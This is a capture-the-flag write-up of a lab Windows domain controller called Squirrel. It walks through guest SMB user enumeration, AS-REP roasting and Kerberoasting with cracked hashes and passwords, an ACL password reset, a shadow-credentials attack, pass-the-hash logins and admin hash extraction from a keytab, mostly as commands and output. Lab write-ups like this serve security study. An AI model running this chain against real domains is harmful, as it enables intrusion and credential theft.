HackingClub Squirrel Writeup (Medium Windows)
Medium Windows AD box. AS-REP roasting cracks svc_backup, Kerberoasting gives svc_web, an ACL chain reaches rachel.ops, and a keytab leaks the admin hash.
Summary
Squirrel is a medium Windows domain controller that allows a guest SMB session, which is enough to export the full user list. GetNPUsers finds svc_backup without Kerberos pre-authentication, and hashcat cracks the AS-REP hash; that account is then used with GetUserSPNs to request a service ticket for svc_web, which cracks as well. BloodHound run over LDAP shows svc_web can reset jack.doe’s password, and that jack.doe holds GenericWrite over rachel.ops, so bloodyAD sets a new password for jack.doe and certipy’s shadow credentials attack against rachel.ops returns her NT hash. Evil-WinRM logs in with that hash, and her Documents folder holds administrator.keytab. Running it through KeyTabExtract pulls the administrator’s RC4 key, which is the NTLM hash, and Evil-WinRM logs straight back in as administrator.
SMB Enumeration
Allows for guest login
1
2
3
$ nxc smb 172.16.7.189 -u 'test' -p '' --shares
SMB 172.16.7.189 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:squirrel.hc) (signing:True) (SMBv1:False)
SMB 172.16.7.189 445 DC01 [+] squirrel.hc\test: (Guest)
Saved users to local file:
1
nxc smb 172.16.7.189 -u '213' -p '' --users-export users.txt
With the contents:
1
2
3
4
5
Guest
svc_backup
svc_web
jack.doe
rachel.ops
BS01: AsRepRoasting
Got the hash for svc_backup:
1
2
3
4
5
6
7
8
$ GetNPUsers.py -no-pass -usersfile users.txt squirrel.hc/
Impacket v0.13.0.dev0+20250710.92041.bf2d749 - Copyright Fortra, LLC and its affiliated companies
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_backup@SQUIRREL.HC:4549dade3f1d50da2c32ccec47ce0532$473e0634cbae7b4faaccd569c20a87083cdefd2972165ce86c7dca87094483d910b03baa5edb336f930c9d596e7ddcf15d067a4ff1625942d8a7b1d494348f0b47c8de21c3112873a086e9d99a894afe7b52e0968bdede2ae0e156ba9a274c31c8d02d7a11666f751997fc438c51432c15b3a89262e959b1e17aa2eaf6f005270120f708f4fadb0018667c4bcd7d6d3d1a7045c560360a875f5e7f3f6640296dd7ddbf9c9e24062c1a4b297a669f9ddebb845b36fc24f1f5a27b4b0a411f3b4f5a5d7e2f6e348b099096c5039332945f3a5a284a36ebf18ba8e7f3322273fd099c56abb65cd2491b1f9d
[-] User svc_web doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jack.doe doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User rachel.ops doesn't have UF_DONT_REQUIRE_PREAUTH set
Cracked the hash
1
hashcat reproast.txt /usr/share/wordlists/seclists/Passwords/Common-Credentials/Pwdb_top-10000000.txt
New Credentials
1
2
Username: svc_backup
Password: Usuckballz1
BS02: Kerberoasting
Used the fact that svc_backup is asreproastable to get the hash for svc_web:
1
2
3
4
5
6
7
8
$ GetUserSPNs.py -no-preauth svc_backup -usersfile users.txt squirrel.hc/
Impacket v0.13.0.dev0+20250710.92041.bf2d749 - Copyright Fortra, LLC and its affiliated companies
[-] Principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: svc_backup - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*svc_web$SQUIRREL.HC$svc_web*$50cd45fee26f35c6afffe4f1bb860c2b$268e4794bb75587e52d724dfd05bd387c0d033936031b91a4ca3c4d18834d0e9fb41d6807c46b76a983a2a03ca69f5adcfc509eab8b388324ca107905d1a8b8a4fb33e0a78e9af72212a15894bcb49f0618e0ea22c56e1d1a9e7cff5a38055f58c0878e6716bfd756d310fa12c440314e5b5b26c1d07f39fc9411029b41019213341093d4116e4348d08d31d771e42f1b252ec28829b601c67bfa31ad5b232dc0b3e99ef22643d9932fdacee45a0470b5b907afb5c97aa7d3d15a5a189ee8a0a7a90328def9e652777ad7dc5ca7005649d9b9559866ddbc7392ae57190b45f80eaa3d066c0fad92703ca94a93c4fc31ba27c1d01f579d3b7c4eca45851f05ed029ea8028c840002272fedb6565fd1eb750e4e8701b8c1af2e3311dd7f2db2f3a88c10d113c2ef70c48669d84e1e959e8288c344d26923dfb4ab3b7898a89a499264262f65a905824743d1f8585c91d9246a83477821e7529978bdc646484553ea69757f0f3f795229c4439c4401ba77f8ef73b4c1bf2a7e9032fbb38963903ccc7d4c0ba11508595de2475613b358f908e38091d5aec56d05dfc842724f520a352bcc931360491343b12c1d2c5128d5736921a9ffac1ea781d1e9936ceb44a2026f52d607f2458a0e17af9286afa55c785a68aebe2e1d8f9ef64c891fc0109190f7af06102cc9eec1fd94572476e02fb8040f003ad7f3a78317e958f4bd18ff5f3a1b986154427121a077f949d3f5dee83eea119cf3244aeb100d5182ed6c5125922151d79c252bc3c8477abdaf8f9f8df2f90c3aede5d53bcfbb24f7d41aedf2b11493f63cb4d1f3f27b069f1575b38c80c523989aaacac8abdc159d70cdf84404cf30bcb75fa5379d472db30838d61916b0fbdea71988f77df7e9b5263ccdf5eb4e55e81da6864f081a8da5526f2fa92466ab5e978a7313e247637cda34f6899d9a00dedb8a970de428ea901437b302b195885e4b9e1596ff86174edf237dfe495a9056d48b06e09b513176d5f4979408e6eca9618e92ffb1324cd3d35b660322b620087e76123a32d9fb1d4fcd563429ae1dc93ac26c880651ebd884c476bd483eb43e0725f47adba820e439562703ced52564ae97b0b4152609b290a3cf623d0077874534abb8b3278a7d319cad209148b4fd17390c1a6a950188490bf729fbc10203f3f70d04683d68ba28808404ad2f8058befd3656f40f8529c55872ddd41c156d7aeeac13214b037d503be5d74e01c93153c33e3dce32093e8f922f759ef95c24acb8610f016b117d997cf3a164d6b9093c67934ce2e0997247b1134dd50578120c7fef2305bb0e213669476569c0de0c769750f27a0e043b0b436a56acbb221ef546409197e97d2c3496138507db62fc4545f110c6cccd151af26936922acff35dd52e2afd94a004e68f72f9a2b4dfe2dc07c9a27de5040c057e28f2a0d89aaf6657d6fc1a777ef3c972112de40a5fabe542d04a4e8e1fbd01ccbfbedbf337d0fa8d809f97781a5b773
[-] Principal: jack.doe - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: rachel.ops - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
Got cleartext password
1
hashcat kerbroast.txt /usr/share/wordlists/seclists/Passwords/Common-Credentials/Pwdb_top-10000000.txt
New credentials
1
2
Username: svc_web
Passworwd: Mailcreated5240
LDAP Enumeration
Got bloodhound running
1
nxc ldap 172.16.7.189 -u 'svc_backup' -p 'Usuckballz1' --dns-server 172.16.7.189 --bloodhound -c All
Found that svc_web can change password for jack.doe
1
2
$ bloodyAD --dc-ip 172.16.7.189 -d squirrel.hc -u 'svc_web' -p 'Mailcreated5240' set password "jack.doe" "BehindSecurity@2025"
[+] Password changed successfully!
And that jack.doe has GenericWrite over rachel.ops. Possible to perform both attacks:
Targeted Kerberoasting
Shadow Credentials
To perform the targeted kerberoasting:
1
python3 targetedKerberoast.py -u jack.doe -p 'BehindSecurity@2025' -d squirrel.hc
To perform the shadow credentials:
1
certipy shadow -u 'jack.doe' -p 'BehindSecurity@2025' -dc-ip 172.16.7.189 -account rachel.ops auto
Got NT hash for rachel.ops:
1
f3735c1a9ce46d00777fab05cf7bb7d3
Initial Access
Authenticated to the machine as rachel.ops:
1
evil-winrm -u rachel.ops -H f3735c1a9ce46d00777fab05cf7bb7d3 -i squirrel.hc
Vertical Privilege Escalation
Located a kerberos keytab file for administrator in rachel.ops’ documents folder. Downloaded it to my machine:
1
2
3
4
5
*Evil-WinRM* PS C:\Users\rachel.ops.SQUIRREL\Documents> download administrator.keytab
Info: Downloading C:\Users\rachel.ops.SQUIRREL\Documents\administrator.keytab to administrator.keytab
Info: Download successful!
Used a python script to extract the keytab information (https://github.com/sosdave/KeyTabExtract):
1
2
3
4
5
6
7
8
$ python3 keytabextract.py /home/user/hacking/hc/machines/medium/squirrel/administrator.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[!] Unable to identify any AES256-CTS-HMAC-SHA1 hashes.
[!] Unable to identify any AES128-CTS-HMAC-SHA1 hashes.
[+] Keytab File successfully imported.
REALM : SQUIRREL.HC
SERVICE PRINCIPAL : administrator/
NTLM HASH : 9cf00c7264c00d1c69fed27f3fce4cce
Authenticated to the machine:
1
evil-winrm -u administrator -H 9cf00c7264c00d1c69fed27f3fce4cce -i squirrel.hc